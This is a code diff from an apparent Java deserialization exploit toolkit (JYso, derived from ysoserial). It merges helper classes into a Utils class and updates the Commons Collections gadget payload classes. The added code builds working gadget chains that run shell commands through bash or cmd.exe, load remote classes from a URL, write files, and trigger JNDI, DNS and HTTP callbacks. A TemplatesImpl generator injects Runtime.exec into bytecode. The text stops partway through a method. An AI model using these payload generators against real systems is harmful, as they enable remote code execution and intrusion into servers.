final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
return get_CC_Sink(transformerChain, transformers);
}
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -23,7 +23,7 @@ public class cc12 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
final Map innerMap = new HashMap();
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
@@ -4,7 +4,7 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
@@ -20,7 +20,7 @@ import java.util.Map;
public class cc13 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(transformers);
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, 1);
+2 -2
View File
@@ -4,7 +4,7 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -52,7 +52,7 @@ public class cc5 implements ObjectPayload<BadAttributeValueExpException> {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
+2 -2
View File
@@ -2,7 +2,7 @@ package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
@@ -37,7 +37,7 @@ import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
public class cc6 implements ObjectPayload<Serializable> {
public Serializable getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(transformers);
+2 -2
View File
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
@@ -24,7 +24,7 @@ public class cc7 implements ObjectPayload<Hashtable> {
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
+2 -2
View File
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -23,7 +23,7 @@ public class cc9 implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(String command) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
Map<Object, Object> innerMap = new HashMap<>();
Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L");
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -20,7 +20,7 @@ public class cck3 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
@@ -20,7 +20,7 @@ public class cck4 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
Transformer[] transformers = (Transformer[]) com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
@@ -1,35 +0,0 @@
package com.qi4l.JYso.gadgets.utils;
public class ByteUtil {
public static int getSubarrayIndex(byte[] haystack, byte[] needle) {
outer:
for (int i = 0; i <= haystack.length - needle.length; ++i) {
for (int j = 0; j < needle.length; ++j) {
if (haystack[i + j] != needle[j]) {
continue outer;
}
}
return i;
}
return -1;
}
public static byte[] deleteAt(byte[] bs, int index) {
int length = bs.length - 1;
byte[] ret = new byte[length];
if (index == bs.length - 1) {
System.arraycopy(bs, 0, ret, 0, length);
} else if (index < bs.length - 1) {
for (int i = index; i < length; i++) {
bs[i] = bs[i + 1];
}
System.arraycopy(bs, 0, ret, 0, length);
}
return ret;
}
}
@@ -1,34 +0,0 @@
package com.qi4l.JYso.gadgets.utils;
import java.io.EOFException;
import java.io.IOException;
import java.io.InputStream;
public class HexUtils {
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
int bytesRead = in.read(classBytes);
if (bytesRead == -1) {
throw new EOFException("流已结束,未读取到数据");
}
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuilder sb = new StringBuilder(length);
for (int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
@@ -1,25 +0,0 @@
package com.qi4l.JYso.gadgets.utils;
import sun.rmi.transport.TransportConstants;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
public class JRMPUtils {
public static DataOutputStream handshake(DataInputStream in, Socket s) throws IOException {
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
return null;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
return new DataOutputStream(bufOut);
}
}
@@ -1,21 +0,0 @@
package com.qi4l.JYso.gadgets.utils;
import java.io.Serializable;
import java.security.*;
/**
* 二次反序列化
*
* @author QI4L
*/
public class SignedObjectUtils {
public static SignedObject warpWithSignedObject(Serializable obj) throws Exception {
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
return new java.security.SignedObject(obj, privateKey, signingEngine);
}
}
@@ -1,57 +0,0 @@
package com.qi4l.JYso.gadgets.utils;
import java.util.Arrays;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
public class StringUtil {
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
final StringBuilder sb = new StringBuilder();
boolean first = true;
for (String s : strings) {
if (!first) sb.append(sep);
if (prefix != null) sb.append(prefix);
sb.append(s);
if (suffix != null) sb.append(suffix);
first = false;
}
return sb.toString();
}
public static String repeat(String str, int num) {
final String[] strs = new String[num];
Arrays.fill(strs, str);
return join(Arrays.asList(strs), "", "", "");
}
public static List<String> formatTable(List<String[]> rows) {
final Integer[] maxLengths = new Integer[rows.get(0).length];
for (String[] row : rows) {
if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
for (int i = 0; i < maxLengths.length; i++) {
if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
maxLengths[i] = row[i].length();
}
}
}
final List<String> lines = new LinkedList<>();
for (String[] row : rows) {
for (int i = 0; i < maxLengths.length; i++) {
final String pad = repeat(" ", maxLengths[i] - row[i].length());
row[i] = row[i] + pad;
}
lines.add(join(Arrays.asList(row), " ", "", ""));
}
return lines;
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) {
return o1.toString().compareTo(o2.toString());
}
}
}
@@ -1,108 +0,0 @@
package com.qi4l.JYso.gadgets.utils;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.Serializable;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
@SuppressWarnings({"unused"})
public class TemplatesUtil {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static Object createTemplatesImpl(final String[] args) throws Exception {
if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {
return createTemplatesImpl(
args,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
throws Exception {
final T templates = tplClass.getDeclaredConstructor().newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
StringBuilder sb = new StringBuilder();
boolean first = true;
for (String arg : args) {
if (!first) {
sb.append(',');
} else {
first = false;
}
sb.append('"');
sb.append(arg.replaceAll("\"", "\""));
sb.append('"');
}
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb + " });");
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.getDeclaredConstructor().newInstance());
return templates;
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
}
@@ -1,40 +1,211 @@
package com.qi4l.JYso.gadgets.utils;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import javax.script.ScriptEngineManager;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.lang.reflect.*;
import java.net.Socket;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.*;
import java.util.Random;
import java.util.zip.Deflater;
import java.util.zip.GZIPOutputStream;
import java.io.InputStream;
import java.lang.reflect.*;
import java.util.*;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.utils.Gadgets.createMemoizedInvocationHandler;
import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertMethod;
import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName;
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
@SuppressWarnings({"unused"})
public class Utils {
private static final Logger log = LogManager.getLogger(Utils.class);
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
static {
System.setProperty(DESERIALIZE_TRANSLET, "true");
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static int getSubarrayIndex(byte[] haystack, byte[] needle) {
outer:
for (int i = 0; i <= haystack.length - needle.length; ++i) {
for (int j = 0; j < needle.length; ++j) {
if (haystack[i + j] != needle[j]) {
continue outer;
}
}
return i;
}
return -1;
}
public static byte[] deleteAt(byte[] bs, int index) {
int length = bs.length - 1;
byte[] ret = new byte[length];
if (index == bs.length - 1) {
System.arraycopy(bs, 0, ret, 0, length);
} else if (index < bs.length - 1) {
for (int i = index; i < length; i++) {
bs[i] = bs[i + 1];
}
System.arraycopy(bs, 0, ret, 0, length);
}
return ret;
}
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
final StringBuilder sb = new StringBuilder();
boolean first = true;
for (String s : strings) {
if (!first) sb.append(sep);
if (prefix != null) sb.append(prefix);
sb.append(s);
if (suffix != null) sb.append(suffix);
first = false;
}
return sb.toString();
}
public static String repeat(String str, int num) {
final String[] strs = new String[num];
Arrays.fill(strs, str);
return join(Arrays.asList(strs), "", "", "");
}
public static List<String> formatTable(List<String[]> rows) {
final Integer[] maxLengths = new Integer[rows.get(0).length];
for (String[] row : rows) {
if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
for (int i = 0; i < maxLengths.length; i++) {
if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
maxLengths[i] = row[i].length();
}
}
}
final List<String> lines = new LinkedList<>();
for (String[] row : rows) {
for (int i = 0; i < maxLengths.length; i++) {
final String pad = repeat(" ", maxLengths[i] - row[i].length());
row[i] = row[i] + pad;
}
lines.add(join(Arrays.asList(row), " ", "", ""));
}
return lines;
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) {
return o1.toString().compareTo(o2.toString());
}
}
public static Object createTemplatesImpl(final String[] args) throws Exception {
if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {
return createTemplatesImpl(
args,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
throws Exception {
final T templates = tplClass.getDeclaredConstructor().newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
StringBuilder sb = new StringBuilder();
boolean first = true;
for (String arg : args) {
if (!first) {
sb.append(',');
} else {
first = false;
}
sb.append('"');
sb.append(arg.replaceAll("\"", "\""));
sb.append('"');
}
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb + " });");
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
classBytes, ClassFiles.classAsBytes(Foo.class)
});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.getDeclaredConstructor().newInstance());
return templates;
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static Map<String, Object> createMap(final String key, final Object val) {
final Map<String, Object> map = new HashMap<>();
map.put(key, val);
return map;
}
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
@@ -45,7 +216,7 @@ public class Utils {
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih));
return iface.cast(Proxy.newProxyInstance(Utils.class.getClassLoader(), allIfaces, ih));
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
@@ -111,7 +282,6 @@ public class Utils {
}
public static void saveCtClassToFile(CtClass ctClass) throws Exception {
// 总体在进行类字节码的缩短
shrinkBytes(ctClass);
byte[] classBytes = ctClass.toBytecode();
}
@@ -154,7 +324,6 @@ public class Utils {
gzipOutputStream.close();
String b64 = Base64.encodeBase64String(outBuf.toByteArray());
// 如果 b64 的长度比较大则将其切分为多个字符串进行拼接避免单个字符串过长
StringBuilder code = new StringBuilder();
if (b64.length() > 60000) {
String[] arrays = splitString(b64, 60000);
@@ -169,7 +338,6 @@ public class Utils {
code.append("b64=\"").append(b64).append("\";\n");
}
// 将赋值的代码插入到 ClassLoaderTemplate
insertMethod(ctClass, "initClassBytes", code.toString());
return ctClass;
}
@@ -179,7 +347,6 @@ public class Utils {
File parentDir = file.getParentFile();
if (!parentDir.exists()) {
if (!parentDir.mkdirs()) {
// 创建文件夹失败
return;
}
}
@@ -241,7 +408,6 @@ public class Utils {
bytes = getClassBytes(clazz);
}
return base64Encode(bytes);
}
@@ -348,4 +514,149 @@ public class Utils {
compresser.end();
return output;
}
public static java.security.SignedObject warpWithSignedObject(Serializable obj) throws Exception {
java.security.KeyPairGenerator keyPairGenerator;
keyPairGenerator = java.security.KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
java.security.KeyPair keyPair = keyPairGenerator.genKeyPair();
java.security.PrivateKey privateKey = keyPair.getPrivate();
java.security.Signature signingEngine = java.security.Signature.getInstance("DSA");
return new java.security.SignedObject(obj, privateKey, signingEngine);
}
public static DataOutputStream handshake(DataInputStream in, Socket s) throws IOException {
int magic = in.readInt();
short version = in.readShort();
if (magic != sun.rmi.transport.TransportConstants.Magic || version != sun.rmi.transport.TransportConstants.Version) {
s.close();
return null;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
return new DataOutputStream(bufOut);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
int bytesRead = in.read(classBytes);
if (bytesRead == -1) {
throw new EOFException("流已结束,未读取到数据");
}
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuilder sb = new StringBuilder(length);
for (int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
public static String makeBeanShellPayload(String command) {
if (command.startsWith("TS-"))
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("-")[1]) * 1000) + "L);";
if (command.startsWith("RC-")) {
String[] strings = handlerCommand(command);
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new URLClassLoader(new URL[]{new URL(\"" + strings[0] + "\")}).loadClass(\"" + strings[1] + "\").newInstance();";
}
if (command.startsWith("WF-")) {
String[] strings = handlerCommand(command);
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new java.io.FileOutputStream(\"" + strings[0] + "\").write(\"" + strings[1] + "\".getObject());";
}
return "compare(Object QI4L, Object QI5L) {new java.lang.ProcessBuilder(new String[]{" +
join(
java.util.Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}";
}
public static Transformer[] makeTransformer(String command) throws Exception {
Transformer[] transformers;
String[] execArgs = {command};
if (command.startsWith("TS-")) {
transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("-")[1] + "000")}),};
} else if (command.startsWith("RC-")) {
String[] strings = handlerCommand(command);
transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)};
} else if (command.startsWith("WF-")) {
String[] strings = handlerCommand(command);
transformers = new Transformer[]{new ConstantTransformer(java.io.FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(1)};
} else if (command.startsWith("PB-lin")) {
transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})};
} else if (command.startsWith("PB-win")) {
transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})};
} else if (command.startsWith("SE-")) {
transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("-")[1]) + "');"})};
} else if (command.startsWith("DL-")) {
transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("-")[1]}}), new ConstantTransformer(1)};
} else if (command.startsWith("HL-")) {
transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("-")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)};
} else if (command.startsWith("BC-")) {
command = command.substring(3);
String bcelBytes;
if (command.startsWith("LF-")) {
CtClass ctClass = generateClass(command);
bcelBytes = generateBCELFormClassBytes(encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode());
} else {
bcelBytes = command;
}
transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
} else if (command.startsWith("JD-")) {
transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("-")[1]}), new ConstantTransformer(1)};
} else if (command.startsWith("LF-")) {
CtClass ctClass = generateClass(command);
if (USING_MOZILLA_DEFININGCLASSLOADER) {
transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
} else {
transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{getJSEngineValue(encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode())})};
}
} else {
